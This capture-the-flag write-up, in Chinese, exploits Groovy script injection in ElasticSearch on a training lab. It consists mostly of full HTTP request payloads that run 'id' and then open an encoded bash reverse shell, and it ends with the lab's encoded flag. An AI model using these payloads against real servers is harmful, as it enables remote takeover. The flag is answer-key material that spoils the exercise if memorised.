声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
靶场介绍
ElasticSearch RCE
春秋云镜开启靶场:
http://eci-2ze5zvawqbekxeseuhhl.cloudeci1.ichunqiu.com:9200/
先发送一个数据包
POST /website/blog/ HTTP/1.1
Host: eci-2ze5zvawqbekxeseuhhl.cloudeci1.ichunqiu.com:9200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 27
{
"name": "caogen"
}
利用反射机制执行Payload
POST /_search?pretty HTTP/1.1
Host: eci-2ze5zvawqbekxeseuhhl.cloudeci1.ichunqiu.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 490
{
"size":1,
"script_fields": {
"test#": {
"script":
"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()",
"lang": "groovy"
}
}
}
GetShell
nc监听9999端口
生成命令
https://forum.ywhack.com/reverse-shell/
https://bewhale.github.io/tools/encode.html
执行Payload获取shell
POST /_search?pretty HTTP/1.1
Host: eci-2ze5zvawqbekxeseuhhl.cloudeci1.ichunqiu.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 585
{
"size":1,
"script_fields": {
"test#": {
"script":
"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}\").getInputStream())).readLines()",
"lang": "groovy"
}
}
}
成功反弹shell
tac /f* #查看flag
base64解密
ZmxhZ3tkODFmNGJjOS1hYzllLTQ1OTktYmVhMy1jN2UxOWFhZDVlMzB9